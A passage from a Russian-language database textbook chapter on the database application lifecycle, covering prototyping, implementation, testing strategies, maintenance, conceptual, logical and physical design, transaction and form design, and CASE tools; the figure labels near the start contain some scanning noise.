Прототип — это рабочая модель» которая обычно обладает лишь частью требуемых возможностей и не обеспечивает всей функциональности готовой системы. Прототип приложения базы данных создается для того, чтобы дать пользователям возможность опробовать его в работе и определить, какие из функциональных средств системы отвечают своему назначению, а какие — нет. В последнем случае пользователям предлагается указать (если это возможно), какие улучшения или даже совершенно новые функции желательно реализовать в данном приложении базы данных. Таким образом, прототип представляет собой инструмент, позволяющий в значительной степени прояснить требования пользователей как для самих пользователей, так и для разработчиков системы, а также оценить гибкость разработанного проекта базы данных. Основное преимущество прототипов состоит в относительной дешевизне и быстроте их создания. Схема этапов разработки прототипов показана на рис. 4.3 (Senn, 1989).
Повторение при необходимостиПовторение при необходимостиактирование gt вВЙр®м: Иактирование gt вВЙр®м: И«шиз результатов ^|Дд|Шщя: В«шиз результатов ^|Дд|Шщя: ВВЦВЙШЮиё ||вОВ|Ввание illM^^ВЦВЙШЮиё ||вОВ|Ввание illM^^Рис. 4.3. Этапы разработки прототипаРис. 4.3. Этапы разработки прототипаСозданиепрототипаСозданиепрототипа
Повторение при необходимости
Повторение при необходимости
актирование gt вВЙр®м: И
актирование gt вВЙр®м: И
«шиз результатов ^
|Дд|Шщя: В
«шиз результатов ^
|Дд|Шщя: В
ВЦВЙШЮиё ||вОВ|Ввание illM^^
ВЦВЙШЮиё ||вОВ|Ввание illM^^
Рис. 4.3. Этапы разработки прототипа
Рис. 4.3. Этапы разработки прототипа
Созданиепрототипа
Созданиепрототипа
Реализация
Реализация Физическая реализация базы данных и разработанных приложений.
В результате выполнения всех этапов проектирования (которые могут включать или не включать создание прототипов) будет подготовлено все, что необходимо для реализации базы данных и прикладных программ. Реализация базы данных осуществляется посредством создания ее описания на языке определения данных (DDL) целевой СУБД. Команды DDL-языка компилируются и используются для создания схем и пустых файлов базы данных. На этом же этапе определяются и все специфические пользовательские представления.
Прикладные программы реализуются с помощью языков третьего или четвертого поколения. Некоторые элементы этих прикладных программ будут представлять собой транзакции обработки базы данных, записываемые на языке манипулирования данными (DML) целевой СУБД и вызываемые из программ на базовом языке программирования — например, на Visual Basic, Delphi, С, C++, Java, COBOL, Fortran, Ada или Pascal. Кроме того, на этом этапе создаются другие компоненты проекта приложения — например, экраны меню, формы ввода данных и отчеты. Следует учитывать, что многие существующие СУБД имеют свои собственные инструменты
разработки четвертого поколения, позволяющие быстро создавать приложения с помощью непроцедурных языков запросов, разнообразных генераторов отчетов, генераторов форм, генераторов графических изображений и генераторов приложений.
На этом этапе реализуются также используемые приложением средства защиты базы данных и поддержки ее целостности. Одни из них описываются с помощью языка DDL целевой СУБД, а другие, возможно, потребуется определить иными средствами — например, с помощью дополнительных утилит СУБД или посредством создания прикладных программ, реализующих требуемые функции.
Конвертирование и загрузка данных
Конвертирование Перенос любых существующих данных в новую базу данных и загрузка и модификация любых существующих приложений с целью данных организации совместной работы с новой базой данных.
Этот этап выполняется только в том случае, если новая база данных заменяет старую. В настоящее время любая СУБД имеет утилиту загрузки уже существующих файлов в новую базу данных. Этой утилите обычно требуется предоставить спецификацию файла-источника и целевой базы данных, после чего она автоматически преобразует данные в нужный формат файлов новой базы данных. Если только это возможно, разработчику следует преобразовать все имеющиеся приложения старой системы для использования их в новой системе. Всякий раз, когда требуется выполнить преобразование и загрузку данных, этот процесс следует тщательно планировать с целью обеспечения гладкого перехода системы в состояние полной готовности.
Тестирование
Тестирование Процесс выполнения прикладных программ с целью поиска ошибок.
Прежде чем использовать новую систему на практике, ее следует тщательно протестировать. Этого можно добиться путем разработки продуманной стратегии тестирования с использованием реальных данных, которая должна быть построенна таким образом, чтобы весь процесс тестирования выполнялся строго последовательно и методически правильно. Обратите внимание на то, что в нашем определении тестирования не приведена распространенная точка зрения о том, что это есть процесс демонстрации отсутствия ошибок. На самом деле тестирование вряд ли сможет продемонстрировать отсутствие ошибок в программном обеспечении — скорее, наоборот, оно способно лишь показать их наличие. Если тестирование проведено успешно, оно обязательно вскроет имеющиеся ошибки в прикладных программах и, возможно, в структурах базы данных. В качестве побочного результата тестирование может лишь продемонстрировать, что база данных и прикладные программы, по-видимому, работают в соответствии с их спецификациями и при этом удовлетворяют существующим требованиям, предъявляемым к производительности. Кроме того, сбор статистических данных на стадии тестирования позволяет установить показатели надежности и качества созданного программного обеспечения.
Как и при проектировании баз данных, пользователи новой системы должны быть вовлечены в процесс ее тестирования. В идеале, тестирование системы должно проводиться на отдельном комплекте оборудования, но зачастую это просто невозможно. При использовании реальных данных важно предварительно создать их резервные копии, на случай их повреждения в результате ошибок. По завершении тестирования процесс создания прикладной системы считается законченным и она может быть передана пользователям в промышленную эксплуатацию.
Стратегии тестирования
Для оценки законченности и корректности выполнения приложения базы данных может использоваться несколько различных стратегий тестирования. Основные из них перечислены ниже.
Нисходящее тестирование.
Восходящее тестирование.
Тестирование потоков.
Интенсивное тестирование.
Каждая из перечисленных выше стратегий тестирования обладает и недостатками, и достоинствами. При тестировании больших систем обычно используется набор из нескольких подобных стратегий. Разные стратегии могут использоваться для разных частей системы и на разных этапах общего процесса тестирования (Sommerville, 1996).
При тестировании системы целесообразно применить последовательный подход. Иначе говоря, систему лучше тестировать не как единое целое, образованное совокупностью всех ее модулей, а по частям. Этот процесс следует продолжать до тех пор, пока все протестированные модули не образуют полностью готовую систему. Таким образом, при обнаружении ошибки проблема может быть локализована вплоть до последнего добавленного модуля и его интерфейсов.
Нисходящее тестирование начинается на уровне подсистем с модулями, которые представлены заглушками, т.е. простыми компонентами, имеющими такой же интерфейс, как модуль, но без функционального кода. Каждый модуль низкого уровня представляется заглушкой. В конечном итоге все программные компоненты заменяются фактическим кодом и снова тестируются. Преимуществом этого подхода является то, что ошибки проектирования могут быть обнаружены еще на ранней стадии тестирования, что позволяет исключить дорогостоящие работы по повторному проектированию и реализации. Кроме того, уже на ранней стадии создания можно получить работающую систему, хотя и с ограниченной функциональностью, способную продемонстрировать гибкость выбранной схемы. Недостатком этой стратегии тестирования является необходимость создания многочисленных заглушек модулей для моделирования низкоуровневых компонентов системы. Кроме того, проверка выходных данных на более высоких уровнях системы может быть затруднена, и система на самом деле не выдаст никаких выходных данных, если не организовать их выдачу искусственным путем.
Восходящее тестирование выполняется в противоположном направлении по отношению к нисходящему. Оно начинается с тестирования модулей на самых низких уровнях иерархии системы, продолжается на более высоких и заканчивается на самом высоком уровне. Преимущества и недостатки при этом имеют обратный смысл преимуществ и недостатков, которыми обладает стратегия нисходящего тестирования (см. выше). *
Тестирование потоков — это стратегия тестирования систем, работающих в реальном масштабе времени, которые обычно состоят из большого количества взаимодействующих процессов, управляемых с помощью прерываний. Эти системы довольно трудно тестируются, поскольку взаимодействие процессов системы зависит от времени. Стратегия тестирования потоков направлена на слежение за отдельными процессами. При этом “поток” обработки каждого внешнего события “проходит” через различные системные процессы. Данная стратегия включает идентификацию и выполнение каждого возможного “потока” обработки в системе. Однако выполнить исчерпывающее тестирование потоков системы просто нереально из-за огромного количества возможных комбинаций входных и выходных условий.
Некоторые системы создаются с целью работы в конкретных режимах максимальной или минимальной нагрузки. Стратегия интенсивного тестирования предназначена для проверки возможности системы справляться с запланированной нагрузкой. Такое тестирование часто включает серию тестов с постепенно возрастающей на-
грузкой и продолжается до тех пор, пока система не выйдет из строя. Эта стратегия обладает двумя основными преимуществами: она проверяет поведение системы, а также оказывает давление на систему, вызывая появление сбоев, которые не могли бы быть обнаружены в обычных условиях эксплуатации.
Эксплуатация и сопровождение.
Эксплуатация и Наблюдение за системой и поддержка ее нормального функцио- сопровождение нирования по окончании развертывания.
На предыдущих этапах приложение базы данных было полностью реализовано и протестировано. Теперь система входит в последний этап своего жизненного цикла, называемый эксплуатацией и сопровождением. Он включает выполнение таких действий, как:
контроль производительности системы. Если производительность падает ниже приемлемого уровня, то может потребоваться дополнительная настройка или реорганизация базы данных;
сопровождение и модернизация (в случае необходимости) приложений баз данных. Новые требования включаются в приложение базы данных при повторном выполнении предыдущих этапов жизненного цикла.
Как только приложение базы данных будет полностью готово к использованию, следует организовать тщательный контроль за его функционированием — это позволит убедиться, что производительность и другие эксплуатационные показатели постоянно находятся на приемлемом уровне. Типичная СУБД обычно предоставляет различные утилиты администрирования базы данных, включая утилиты загрузки данных и контроля за функционированием системы. Подобные утилиты способны отслеживать работу системы и предоставлять информацию о различных показателях, таких как уровень использования базы данных, эффективность системы блокировок (включая сведения о количестве имевших место взаимных блокировок), а также выбираемые стратегии выполнения запросов. Администратор базы данных (АБД) может использовать эту информацию для настройки системы с целью повышения ее производительности (например, за счет создания дополнительных индексов), ускорения выполнения запросов, изменения структур хранения, объединения или разбиения отдельных таблиц.
Процесс мониторинга должен поддерживаться на протяжении всей жизни приложений, что позволит в любой момент времени провести эффективную реорганизацию базы данных с целью удовлетворения изменяющихся требований. Подобные изменения предоставляют информацию о наиболее вероятной эволюции системы и ресурсах, которые могут потребоваться в будущем. Все это, вместе со сведениями о новых приложениях, предложенных для реализации, позволяет АБД принимать активное участие в планировании производственных мощностей и предоставлять руководству предприятия сведения о необходимости соответствующей корректировки существующих планов. Если в используемой СУБД нет некоторых нужных утилит, то АБД придется либо разработать их самостоятельно, либо приобрести требуемые дополнительные инструменты у сторонних разработчиков, если таковые имеются.
После введения нового приложения базы данных в эксплуатацию пользователи должны в течение некоторого времени работать с новой и старой системами параллельно. Это необходимо для подстраховки выполнения текущих операций в случае возникновения непредвиденных проблем с новой системой. Целесообразно также периодически проводить проверки непротиворечивости состояния данных в двух системах. От старой системы можно отказаться только тогда, когда обе системы достаточно продолжительное время будут согласованно показывать одни и те же результаты. Если замена старой системы новой будет выполнена слишком поспешно, результаты подобной замены могут оказаться катастрофическими. Вопреки выска-
занному выше предположению, что через некоторое время от старой системы можно будет отказаться, могут возникать и такие ситуации, когда потребуется постоянно сопровождать обе системы.
Общий обзор процедуры проектирования базы данных
В разделе 4.2.4 кратко описывались основные цели этапа проектирования базы данных в полном жизненном цикле приложения базы данных, а также используемые для этого подходы. В данном разделе мы обсудим назначение и применение методов моделирования данных в процессе проектировании базы данных и представим краткий обзор трех основных фаз этого процесса: концептуального, логического и физического проектирования, которые подробно описываются соответственно в главах 7, "‘Методология концептуального проектирования баз данных”, 8, “Методология логического проектирования реляционных баз данных”, и 9, “Методология физического проектирования реляционных баз данных”.
Моделирование данных
Основные цели моделирования данных состоят в углублении понимания значения (семантики) данных и упрощении процедур обсуждения требований к данным. При создании модели данных обязательно потребуется получить ответы на определенные вопросы об отдельных сущностях, связях и атрибутах. Полученные дополнительные сведения помогут разработчикам раскрыть особенности семантики корпоративных данных, которые существуют независимо от того, отмечены они в формальной модели данных или нет. Сущности, связи и атрибуты являются фундаментальными понятиями любого предприятия. Однако их реальный смысл будет оставаться не вполне понятным до тех пор, пока они не будут должным образом описаны в документации. Моделирование данных упрощает понимание смыла элементов данных, поэтому построение модели необходимо для того, чтобы гарантировать понимание таких аспектов данных, как:
вид данных с точки зрения каждого пользователя;
природа данных самих по себе, независимо от их физического представления;
использование данных в пределах области применения приложения.
Модели данных могут использоваться для отображения понимания разработчиком тех требований к данным, которые существуют на предприятии. Если обе стороны знакомы с нотацией, используемой для построении модели, то наличие модели данных будет способствовать более плодотворному общению пользователей и разработчиков. Предприятия во все большей и большей мере стандартизируют способ моделирования данных посредством выбора определенного метода моделирования и использования его во всех проектах разработки их баз данных. Самая популярная технология высокоуровневого моделирования данных, чаще всего используемая при разработке реальных баз данных, построена на концепции модели “сущность-связь” (Entity-Relationship model — ER-модель) — именно она описывается в этой книге. Более подробно эта модель обсуждается в главе 5, “Модель "сущность-связь””.
Критерии оценки модели данных
Оптимальная модель данных должна удовлетворять критериям, перечисленным в табл. 4.1 (Fleming and Von Halle, 1989). Однако иногда эти критерии несовместимы друг с другом, и приходится идти на некоторый компромисс. Например, в погоне за наибольшей выразительностью модели данных можно утратить ее простоту.
Таблица 4.1. Критерии оценки модели данных
Критерий
Пояснение
Структурная достоверность
Простота
Соответствие способу определения и организации информации на данном предприятии
Легкость понимания модели как профессионалами в области разработки информационных систем, так и обычными пользователями
Выразительность
Способность представлять отличия между разными типами данных, связей между данными и ограничений
Отсутствие избыточности
Способность к совместному использованию
Исключение излишней информации, т.е. любая часть данных должна быть представлена только один раз
Отсутствие принадлежности к какому-то особому приложению или технологии и, следовательно, возможность использования модели во многих приложениях и технологиях
Расширяемость
Способность эволюционировать с целью включения новых требований с минимальным влиянием на уже существующих пользователей
Целостность
Согласованность со способом использования и управления информацией внутри предприятия
Представление в виде диаграмм
Способность представления модели с помощью понятных диаграммных обозначений
Концептуальное проектирование базы данных
Концептуальное Процесс создания модели используемой на предприятии ин- проектирование формации, не зависящей от любых физических аспектов ее базы данных представления.
Первая фаза процесса проектирования базы данных называется концептуальным проектированием базы данных. Она заключается в создании концептуальной модели данных для анализируемой части предприятия. Эта модель данных создается на основе информации, записанной в спецификациях требований пользователей. Концептуальное проектирование базы данных абсолютно не зависит от таких подробностей ее реализации, как тип выбранной целевой СУБД, набор создаваемых прикладных программ, используемые языки программирования, тип выбранной вычислительной платформы, а также от любых других особенностей физической реализации. При разработке концептуальная модель данных постоянно подвергается тестированию и проверке на соответствие требованиям пользователей. Созданная концептуальная модель данных предприятия является источником информации для фазы логического проектирования базы данных.
В главе 7, “Методология концептуального проектирования баз данных”, представлено поэтапное практическое руководство по выполнению концептуального проектирования базы данных, а в главе 10, “Пример разработки концептуального проекта базы данных”, эти рекомендации иллюстрируются на примере конкретного учебного проекта.
Логическое проектирование базы данных
Логическое проектирование базы данных
Процесс создания модели используемой на предприятии информации с учетом выбранной модели организации данных, но независимо от типа целевой СУБД и других физических аспектов реализации.
Вторая фаза проектирования базы данных называется логическим проектированием базы данных. Ее цель состоит в создании логической модели данных для исследуемой части предприятия. Концептуальная модель данных, созданная на предыдущем этапе, уточняется и преобразуется в логическую модель данных. Логическая модель данных учитывает особенности выбранной модели организации данных в целевой СУБД (например, реляционная или сетевая модель).
Если концептуальная модель данных не зависит от любых физических аспектов реализации, то логическая модель данных создается на основе выбранной модели организации данных целевой СУБД. Иначе говоря, на этом этапе уже должно быть известно, какая СУБД будет использоваться в качестве целевой — реляционная, сетевая, иерархическая или объектно-ориентированная. Однако на этом этапе игнорируются все остальные аспекты выбранной СУБД — например, любые особенности физической организации ее структур хранения данных и построения индексов.
В процессе разработки логическая модель данных постоянно тестируется и проверяется на соответствие требованиям пользователей. Для проверки корректности логической модели данных используется метод нормализации. Нормализация гарантирует, что выведенные из существующей модели данных отношения не будут обладать избыточностью данных, способной вызвать аномалии обновления после их физической реализации. Проблемы, связанные с избыточностью данных, подробно рассматриваются в главе 6, “Нормализация”. Кроме того, эта глава содержит детальное описание самого процесса нормализации. Помимо всего прочего, логическая модель данных должна обеспечивать поддержку всех необходимых пользователям транзакций.
Построенная логическая модель данных является источником информации для этапа физического проектирования и обеспечивает разработчика физической базы данных средствами нахождения компромиссов, необходимых для достижения поставленных целей, что очень важно для эффективного проектирования. Логическая модель данных также играет важную роль на этапе эксплуатации и сопровождения уже готовой системы. При правильно организованном сопровождении поддерживаемая в актуальном состоянии модель данных позволяет точно и наглядно представить любые вносимые в базу данных изменения, а'также оценить их влияние на прикладные программы и использование данных, уже имеющихся в базе.
Концептуальное и логическое проектирование
Концептуальное и логическое проектирование — это итеративные процессы, которые начинаются в определенный момент времени и продолжаются в виде практически бесконечного ряда уточнений и улучшений. Их следует рассматривать как некий процесс изучения. По мере углубления разработчиками понимания принципов работы предприятия и смысла используемых данных, они выражают это понимание в виде той или иной модели данных. Собранная информация, в свою очередь, может потребовать внесения определенных изменений в другие части создаваемого проекта.
Концептуальное и логическое проектирование базы данных — важнейшие факторы общего успеха разрабатываемой системы. Если созданный проект не является точным отражением методов работы и структуры предприятия, то будет очень сложно, если вообще возможно, определить все необходимые пользователям представления (внешние схемы) или организовать поддержку целостности базы данных. Кроме того, могут возникнуть трудности с физической реализацией базы данных или обеспечением приемлемой производительности системы. В то же время способность адаптации к изменениям является признаком удачно спроектированной базы данных. Следовательно, всегда имеет смысл потратить необходимые время и энергию на создание наилучшего из возможных проектов.
Слияние представлений отдельных пользователей
Логическая модель, отражающая особенности представления о функционировании предприятия одновременно многих типов пользователей, называется глобальной ло-
гической моделью данных. Существует два основных подхода к созданию глобальной логической модели данных предприятия — это централизованный подход и подход на основе интеграции представлений.
Централизованный Слияние требований отдельных пользователей, выраженных подходв виде различных пользовательских представлений, в еди
ный набор требований всех пользователей, который используется для создания глобальной логической модели данных.
При использовании первого подхода, который принято называть централизованным, требования всех существующих типов пользователей в отношении различных областей применения приложения объединяются с образованием единого списка требований. Характерной особенностью этого подхода является то, что списки требований составляются до создания глобальной логической модели данных. Этот подход применим только при условии, что описываемая база данных не слишком велика или сложна.
МетодСлияние отдельных локальных логических моделей данных,
интеграции отражающих представления различных групп пользователей, в представлений единую глобальную логическую модель данных.
При использовании второго подхода, который принято называть методом интеграции представлений, осуществляется слияние отдельных моделей данных, отражающих представлениях разных групп пользователей и называемых локальными логическими моделями данных, в единую глобальную логическую модель данных всего предприятия. Этот подход более управляем, поскольку вся работа предварительно разделяется на более мелкие и легко контролируемые части. Трудности обычно возникают лишь при попытках слияния локальных моделей данных, созданных разными разработчиками, которые могут использовать различные термины для одного и того же понятия или, наоборот, связывать один и тот же термин с разными понятиями.
В главе 8, “Методология логического проектирования реляционных баз данных”, вашему вниманию будет предложена практическая пошаговая методология логического проектирования базы данных, в которой используется метод интеграции представлений. А в главе 11, “Пример разработки логического проекта базы данных”, применение метода интеграции представлений будет продемонстрировано на конкретном примере учебного проекта.
Физическое проектирование базы данныхФизическое проектирование базы данныхФизическое проектирование базы данных
Физическое проектирование базы данных
Физическое проектирование базы данных
Процесс создания описания реализации базы данных на вторичных запоминающих устройствах с указанием структур хранения и методов доступа, используемых для организации эффективной обработки данных.
Физическое проектирование является третьей фазой процесса создания проекта базы данных, при выполнении которой проектировщик принимает решения о способах реализации разрабатываемой базы данных. Во время предыдущей фазы проектирования была определена логическая структура базы данных (т.е. набор ее сущностей, связей и атрибутов). Хотя эта структура не зависит от конкретной целевой СУБД, она создавалась с учетом выбранной модели хранения данных, например реляционной, сетевой или иерархической. Однако, приступая к физическому проектированию базы данных, прежде всего необходимо выбрать конкретную целевую СУБД. Поэтому физическое проектирование неразрывно связано с конкретной СУБД. Между логическим и физическим проектированием существует постоянная обратная связь, так как решения, принимаемые на этапе физического проектирования с целью повышения производительности системы, способны повлиять на структуру логической модели данных.
Вообще, основной целью физического проектирования базы данных является описание способа физической реализации логического проекта базы данных. В случае реляционной модели данных под этим подразумевается следующее:
создание набора реляционных таблиц и ограничений для них на основе информации, представленной в глобальной логической модели данных;
определение конкретных структур хранения данных и методов доступа к ним, обеспечивающих оптимальную производительность системы с базой данных;
разработка средств защиты создаваемой системы.
В идеале, фазы концептуального и логического проектирования больших систем следует отделять от фазы их физического проектирования. На это есть несколько причин.
Они связаны с совершенно разными аспектами системы: что делать и как делать.
Они выполняются в разное время, поскольку понять, что надо сделать, следует прежде, чем решить, как это сделать.
Они требуют совершенно разных навыков и умений, которыми обычно обладают разные люди.
В главе 2, “Среда базы данных”, рассматривалась трехуровневая архитектура ANSI-SPARC, применяемая к системам баз данных и состоящая из внешней, концептуальной и внутренней схем. На рис. 4.4 показана взаимосвязь между этой архитектурой и концептуальным, логическим и физическим проектированием баз данных. В главе 9, “Методология физического проектирования реляционных баз данных”, вашему вниманию будет предложена пошаговая методология физического проектирования базы данных, а в главе 12, “Пример разработки физического проекта базы данных”, эта методология будет проиллюстрирована конкретным примером учебного проекта.
Рис. 4.4. Соответствие этапов моделирования данных и элементов архитектуры ANSI-SPARC
Проектирование приложения
В разделе 4.2.6 уже описывались цели проектирования приложения. В этом разделе мы кратко рассмотрим два аспекта процедуры проектирования приложений, а именно проектирование пользовательского интерфейса и транзакций.
Проектирование транзакций
Транзакция Одно действие или последовательность действий, выполняемых одним и тем же пользователем (или прикладной программой), осуществляющим доступ к базе данных или изменение ее содержимого.
Транзакции представляют такие события реального мира, как, например, регистрация предлагаемого для сдачи в аренду объекта недвижимости, назначение встречи с потенциальным арендатором с целью осмотра некоторого объекта, прием на работу нового сотрудника или же регистрация нового клиента. Все эти транзакции должны обращаться к базе данных с той целью, чтобы хранимые в ней данные всегда гарантированно соответствовали текущей ситуации в реальном мире, а также для удовлетворения информационных потребностей пользователей.
Транзакция может состоять из нескольких операций, подобных, например, переводу денег с одного счета на другой. Однако с точки зрения пользователя эти операции представляют собой единое задание. С точки зрения СУБД, каждая транзакция переводит базу данных из одного непротиворечивого состояния в другое. СУБД обеспечивает непротиворечивость базы данных даже в случае возникновения сбоя. Кроме того, СУБД гарантирует, что после завершения транзакции все внесенные ею изменения будут надежно сохранены в базе данных целиком и полностью (без необходимости выполнения другой транзакции для устранения недостатков, возникших при выполнении первой транзакции). Если по какой-либо причине транзакция не будет завершена, СУБД гарантирует, что все внесенные ею изменения будут отменены. В примере с банковским переводом денег это значит, что если деньги сняты (дебетованы) с одного счета и сбой транзакции произошел во время их помещения (кредитования) на другой счет, то СУБД отменит дебет первого счета. Если операции дебета и кредита поместить в отдельные транзакции, то сразу после дебетования первого счета и завершения транзакции это изменение отменить будет нельзя, разве что только посредством запуска другой транзакции с кредитованием этого счета на снятую сумму.
Цель проектирования транзакций заключается в определении и документировании высокоуровневых характеристик всех транзакций, которые должны будут выполняться в разрабатываемой базе данных. Эту работу следует выполнить еще на начальной стадии проектирования, что позволит обеспечить поддержку всех требуемых транзакций со стороны логической модели данных. При этом очень важно, чтобы характеристики всех транзакций были зафиксированы в документации. Существует несколько методов описания высокоуровневых характеристик транзакций. Ниже перечислены наиболее важные из них.
Данные, которые используются транзакцией.
Функциональные характеристики транзакции.
Выходные данные, формируемые транзакцией.
Степень важности транзакции для пользователей.
Предполагаемая интенсивность использования.
Существует три основных типа транзакций: транзакции извлечения, транзакции обновления и смешанные транзакции.
Транзакции извлечения используются для выборки некоторых данных с целью отображения их на экране или помещения в отчет. Примером транзакции извлечения является поиск и отображение подробных сведений об объекте недвижимости (по заданному номеру объекта).
Транзакции обновления используются для вставки новых, удаления старых или же изменения уже существующих записей базы данных. Примером транзакции обновления является внесение в базу подробных сведений о новом объекте недвижимости.
Смешанные транзакции включают как операции извлечения, так и операции обновления данных. Примером смешанной транзакции является поиск и отображение подробных сведений об объекте недвижимости (по заданному номеру объекта), с последующим изменением месячной арендной платы.
Структура каждой транзакции строится на основании имеющейся спецификации требований пользователей. Для создания этой спецификации разработано множество методов, включающих специальную систему обозначений для определения нужных пользователям транзакций. Подобные транзакции могут представлять собой сложные операций, которые в результате анализа раскладываются на несколько более простых операций, каждая из которых представляет собой отдельную транзакцию.
Рекомендации по проектированию пользовательского интерфейса
Прежде чем приступать к реализации формы (или отчета), важно тщательно спроектировать ее (или его) макет. Можно дать некоторые полезные рекомендации по созданию макетов любых форм и отчетов (Shneidermann, 1992). В частности, подобный макет должен включать:
содержательное название;
ясные и понятные инструкции;
логически обоснованные группировки и последовательности полей;
визуально привлекательный вид окна формы или поля отчета;
легко узнаваемые названия нолей;
согласованную терминологию и сокращения;
согласованное использование цветов;
визуальное выделение пространства и границ полей ввода данных;
удобные средства перемещения курсора;
средства исправления отдельных ошибочных символов и целых полей;
средства вывода сообщений об ошибках при вводе недопустимых значений;
особое выделение необязательных для ввода полей;
средства вывода пояснительных сообщений с описанием полей;
средства вывода сообщения об окончании заполнения формы.
Содержательное название
Информация в названии должна ясно и недвусмысленно идентифицировать назначение отчета или формы.
Ясные и понятные инструкции
В инструкциях должна применяться привычная для пользователей терминология. Инструкции должны быть краткими, а на случай необходимости предоставления дополнительной информации следует предусмотреть специальные справочные экраны. Инструкции следует записывать в стандартном формате, придерживаясь единого грамматического стиля.
Логически обоснованные группировки и последовательности полей
Логически связанные поля в отчете или форме следует располагать вместе, причем их последовательность должна быть логически обоснованной и согласованной.
Визуально привлекательный вид окна формы или поля отчета
Форма или отчет должны иметь привлекательный внешний вид и представлять собой гармоничное сочетание полей или групп полей, равномерно распределенных на поверхности формы/отчета. При этом в форме/отчете не должно быть областей с очень малой или слишком большой концентрацией полей. Кроме того, поля нужно размещать через регулярные интервалы и выравнивать их по вертикали и горизонтали. Если экранная форма имеет какое-то эквивалентное представление на бумаге, то их внешний вид должен быть согласован.
Легко узнаваемые названия полей
Названия полей должны быть знакомы пользователю. Например, если типичное название поля Sex (Пол) заменить его менее понятным синонимом Gender (Род), то это может запутать некоторых пользователей.
Согласованная терминология и сокращения
Повсеместно должны использоваться только знакомые и понятные термины или же сокращения, выбираемые из заранее согласованного списка.
Согласованное использование цветов
Для улучшения внешнего вида формы или отчета можно использовать цветовое оформление. Кроме того, выделение цветом может применяться для самых важных полей или сообщений. Для достижения оптимального результата цвет следует использовать согласованно и продуманно. Например, в формах поля с белым фоном могут обозначать поля ввода, а поля с синим фоном — поля с данными, предназначенными только для отображения на экране.
Визуальное выделение пространства и границ полей ввода данных
Пользователь должен быть визуально проинформирован об общем пространстве, доступном для ввода данных в каждом из полей. Это позволит ему еще до ввода данных выбрать для них наиболее подходящую форму представления.
Удобные средства перемещения курсора
Пользователь должен легко определять, какие операции доступны ему для перемещения курсора в форме или отчете. Обычно для подобных целей используются клавиши табуляции, клавиши со стрелками или указатель мыши.
Средства исправления отдельных ошибочных символов и целых полей
Пользователь должен легко определять, какие именно операции доступны ему для исправления ошибки, допущенной при вводе данных. Для этой цели обычно используются простейшие механизмы, подобные нажатию клавиши <Backspace> или повторному вводу поверх ошибочных символов.
Средства вывода сообщений об ошибках при вводе недопустимых значений
При вводе в поле неправильных данных программа должна выводить сообщение об ошибке. Это сообщение должно информировать пользователя о допущенной ошибке и указать диапазон допустимых значений.
Особое выделение необязательных для ввода полей
Необязательные для ввода поля должны быть явно отмечены с помощью соответствующей надписи или выделения особым цветом. Подобные поля следует располагать после обязательных для ввода полей.
Средства вывода пояснительных сообщений с описанием полей
Когда пользователь помещает курсор мыши в очередное поле, то в некотором стандартном месте (например, в строке состояния данного окна) следует вывести информацию об этом поле.
Средства вывода сообщения об окончании заполнения формы
Пользователь должен ясно представлять себе, когда процесс заполнения формы будет закончен. Однако завершение этого процесса не должно быть автоматическим — целесообразно выводить предупреждающее сообщение, чтобы при необходимости пользователь смог еще раз просмотреть введенные им данные.
Использование CASE-инструментов
Первый этап жизненного цикла приложения базы данных — т.е. планирование базы данных, может также предусматривать выбор наиболее подходящих инструментов автоматизированного проектирования и создания программ, которые принято называть CASE-инструментами (Computer-Aided Software Engineering). В самом широком смысле термин “CASE-инструмент” применим к любым средствам автоматизированного проектирования и создания программ. Подобные инструменты просто необходимы АД и АБД для достижения максимальной эффективности их действий по разработке базы данных. CASE-инструменты могут включать следующие компоненты:
словарь данных, предназначенный для хранения информации о данных, используемых в создаваемом приложении;
инструменты проектирования, обеспечивающие проведение анализа данных;
инструменты разработки корпоративной модели данных, а также концептуальных и логических моделей данных;
инструменты, позволяющие создавать прототипы приложений.
Как показано на рис. 4.5, все CASE-инструменты можно разбить на три категории: CASE-инструменты высокого уровня, CASE-инструменты низкого уровня и интегрированные CASE-инструменты. CASE-инструменты высокого уровня применяются на начальных стадиях жизненного цикла разработки баз данных, a CASE- ннструменты низкого уровня — на более поздних, начиная со стадии реализации, в ходе тестирования и на протяжении всего процесса сопровождения функционирующей системы. Интегрированные CASE-инструменты применяются на всех стадиях жизненного цикла системы, а потому они должны поддерживать все функции CASE- инструментов как высокого, так и низкого уровней.
Рис. 4.5. Применение CASE-инструментов
Преимущества использования CASE-инструментов
Использование CASE-инструментов позволяет существенно повысить производительность труда при разработке приложений баз данных. Здесь термин “производительность” относится как к продуктивности процесса разработки, так и к эффективности самой разрабатываемой системы. Продуктивность характеризует уровень затрат (времени и денежных средств), потребовавшихся для реализации приложения базы данных. CASE-инструменты предназначены для упрощения и автоматизации решения отдельных задач в ходе разработки системы, а потому позволяют существенно повысить продуктивность труда разработчиков. Эффективность характеризует общий уровень соответствия созданной системы имеющимся информационным потребностям ее пользователей. В стремлении достичь более высокой производительности, повышение эффективности процесса разработки может иметь даже большее значение, чем повышение продуктивности работы отдельных разработчиков. Например, вряд ли имеет смысл ставить рекорды продуктивности труда при создании приложения базы данных, если конечный продукт будет представлять собой вовсе не то, что хотел получить заказчик. Таким образом, в нашем толковании эффективность работы связана именно с качеством конечного продукта. Поскольку компьютеры лучше, чем человек, справляются с определенными задачами (например, с проверкой на непротиворечивость), для повышения эффективности ре-
шения подобных задач в процессе разработки системы целесообразно использовать именно CASE-инструменты.
Использование CASE-инструментов способствует повышению производительности труда разработчиков, что достигается за счет приведенных ниже преимуществ.
Стандарты. CASE-инструменты способствуют расширению использования стандартов как в ходе разработки программного проекта, так и в работе самой организации. Они позволяют создавать стандартные тестовые компоненты, которые могут использоваться многократно, что упрощает сопровождение системы и повышает производительность труда.
Интеграция. CASE-инструменты позволяют сохранять всю генерируемую информацию в специальном хранилище или в словаре данных (см. раздел 2.7). Поэтому появляется возможность хранить полный объем данных, собранных на всех этапах жизненного цикла приложения базы данных. Более того, собранные данные могут быть скомпонованы между собой, что будет гарантировать успешность интеграции всех частей системы. В результате информационная система организации уже не будет представлять собой множество независимых и несвязанных между собой компонентов.
Поддержка стандартных методов. Как правило, любые структурированные технологии очень широко используют диаграммы, которые достаточно трудно создавать и поддерживать вручную. Использование CASE- инструментов существенно упрощает этот процесс и позволяет генерировать более корректную и актуальную документацию.
Непротиворечивость. Поскольку вся информация в словаре данных взаимосвязана, CASE-инструменты способны обеспечивать автоматическую проверку их непротиворечивости.
Автоматизация. Некоторые CASE-инструменты позволяют автоматически преобразовывать фрагменты спецификаций проекта в выполняемый код. Это позволяет сократить объем работы по созданию готовой системы, а также сокращает количество ошибок, вносимых в программы во время кодирования.
